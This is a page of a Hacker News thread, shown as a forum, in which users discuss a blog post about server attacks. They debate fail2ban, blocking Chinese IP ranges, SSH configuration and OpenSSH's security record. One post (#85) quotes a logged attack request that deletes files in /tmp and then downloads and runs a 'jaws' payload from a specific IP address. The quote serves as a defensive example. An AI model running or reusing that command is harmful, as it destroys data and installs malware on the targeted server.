Hacker News Board Hacker News, browsed like a classic message board
Live data from Hacker News

Who's Attacking My Server?

bastian.rieck.me

Post reply on HN
Print view View original

81–90 of 231 posts

Re: Who's Attacking My Server?

#81

Post by temp8964 »

fuzzy2 wrote: post #74

I just ban China entirely from accessing my server. There's nothing on it a Chinese person could be interested in, just personal stuff and a private forum. Doing so has tremendously reduced the overall (remaining) abuse traffic volume. It's quite easy and efficient to do this using IPSet. IP ranges associated with China are available on the net.

And also legitimate Chinese visitors will use VPN to access foreign websites anyway. Because of the GreatFirewall, a Chinese person must use a VPN to reliably visit foreign websites.

Re: Who's Attacking My Server?

#82

Post by plufz »

tptacek wrote: post #4

Fail2ban is theater on a properly configured server --- and, increasingly since the mid 2010's, you've had to go out of your way to have a badly configured SSH server. Either way, it's something you have to add specifically to your server, so if you're going to do that, use the same energy to just make sure your server is configured properly. Yeah, yeah, I know it "keeps your logs clean". So does grep, though.

hmm I reason sooner or later a scanner will find an xss/sql exploit/whatever? why give scanners free access to search endlessly for possible exploits when you can fail2ban? all servers have possible exploits if they expose a medium complex service. (if ssh is all you expose and you only allow keys, fine!)

Re: Who's Attacking My Server?

#83

Post by [deleted] »

tptacek wrote: post #4

Fail2ban is theater on a properly configured server --- and, increasingly since the mid 2010's, you've had to go out of your way to have a badly configured SSH server. Either way, it's something you have to add specifically to your server, so if you're going to do that, use the same energy to just make sure your server is configured properly. Yeah, yeah, I know it "keeps your logs clean". So does grep, though.

[deleted]

Re: Who's Attacking My Server?

#84

Post by criddell »

chockchocschoir wrote: post #78
fuzzy2 wrote: post #74

I just ban China entirely from accessing my server. There's nothing on it a Chinese person could be interested in, just personal stuff and a private forum. Doing so has tremendously reduced the overall (remaining) abuse traffic volume. It's quite easy and efficient to do this using IPSet. IP ranges associated with China are available on the net.

Before going about a blocking potential people who are in fact interested in your content/service (which you can't know if they are or not based on the country), did you do the bare minimum to secure your server against attackers from any other location, namely changed from the default password and disabled password login? Your approach to security has a number of issues. First, you don't know if someone is actually…

I don't think it matters if the geo-location table is correct or not. If traffic from an IP range is entirely malicious, block that IP range. If that range happens to be Chinese or from Florida it doesn't really matter, does it?

Re: Who's Attacking My Server?

#85

Post by criddell »

tptacek wrote: post #76
bhch wrote: post #75

Earlier quoted context omitted.

> Fail2ban is theater on a properly configured server How do you block scanner scripts making hundreds of requests to your http server attempting to find login pages and other "secret" urls? I see a variety of weird requests made to my http server. A sample: `GET /shell?cd+/tmp;rm+-rf+*;wget+209.141.59.94/jaws;sh+/tmp/jaws HTTP/1.1` Fail2ban seems a decent solution for this. Unless, of course, there's a better soluti…

You don't, because there's no point.

It does get rid of a lot of noise in your log files. Plus, it's foolish to assume ssh is bug free.

Re: Who's Attacking My Server?

#86

Post by qwertox »

fuzzy2 wrote: post #74

I just ban China entirely from accessing my server. There's nothing on it a Chinese person could be interested in, just personal stuff and a private forum. Doing so has tremendously reduced the overall (remaining) abuse traffic volume. It's quite easy and efficient to do this using IPSet. IP ranges associated with China are available on the net.

I do the same, but my issue is with rented servers on AWS, Digital Ocean and the like. There's no way of knowing who owns a rented IP address, the WHOIS record just outputs "US", which is meaningles.

I think there's an need for forcing service providers to group IP blocks by the nationality of who rents them.

Just to be clear, this is in the context of my private servers which host my mailserver as well as my personal website which is not meant for public consumption, but which I need to be publicly available.

Re: Who's Attacking My Server?

#87

Post by stock_toaster »

71a54xd wrote: post #41
taf2 wrote: post #35

Earlier quoted context omitted.

You should just not allow any IP to access your server to begin with… have a list of trusted IPs - this and only allow public / private key access with a second factor device and I think you should be good…

I like to be able to maintain contact with my servers outside of a few specific ip's - I've locked myself out far too many times when I whitelist a very small number. Anyone have a better workaround for this?

Maybe use spiped[1] if you are worried about ssh security?

[1]: https://www.tarsnap.com/spiped.html

Re: Who's Attacking My Server?

#88

Post by tptacek »

criddell wrote: post #85
tptacek wrote: post #76

Earlier quoted context omitted.

You don't, because there's no point.

It does get rid of a lot of noise in your log files. Plus, it's foolish to assume ssh is bug free.

There hasn't been a pre-auth remote vulnerability in stock OpenSSH since 2002. It is not for lack of looking. OpenSSH is one of the hardest targets on the Internet: I trust my kernel less.

Re: Who's Attacking My Server?

#89

Post by afiori »

mistrial9 wrote: post #25
Topolomancer wrote: post #3

Earlier quoted context omitted.

Good point; there used to be some issues with this since my dad is an interpreter for Russian, so we used to have some legitimate business there (probably not relevant, but his clients would essentially come to Europe to be trained in certain medical equipment)...but recent events might probably force early retirement for him. Somewhat unrelated: I have noticed that SPAM from Russian servers stopped on Feb 23 right b…

does anyone here recognize the difference between civilians and participants in armed conflict? medical in particular, right?

probably they are talking about how sanctions make making business with Russia difficult.

Re: Who's Attacking My Server?

#90

Post by raggi »

tptacek wrote: post #88
criddell wrote: post #85

Earlier quoted context omitted.

It does get rid of a lot of noise in your log files. Plus, it's foolish to assume ssh is bug free.

There hasn't been a pre-auth remote vulnerability in stock OpenSSH since 2002. It is not for lack of looking. OpenSSH is one of the hardest targets on the Internet: I trust my kernel less.

I've been enough in the SSH code to be somewhat terrified by it. The main server loop has so many nested macro conditionals it's exceptionally difficult to read precisely.

That said, fail2ban had an RCE in the last year, so if we're considering trustworthy surfaces, I definitely agree and practice that I trust openssh a whole lot more than a lot of other software that may come up in the discussion.

Post reply on HN